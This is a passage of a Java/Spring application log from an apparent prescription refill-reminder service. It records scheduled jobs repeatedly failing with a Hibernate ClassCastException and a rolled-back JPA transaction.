org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:34:59 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:34:59 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:34:59 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:34:59 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:34:59 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:34:59 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:34:59 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:34:59 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:34:59 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at 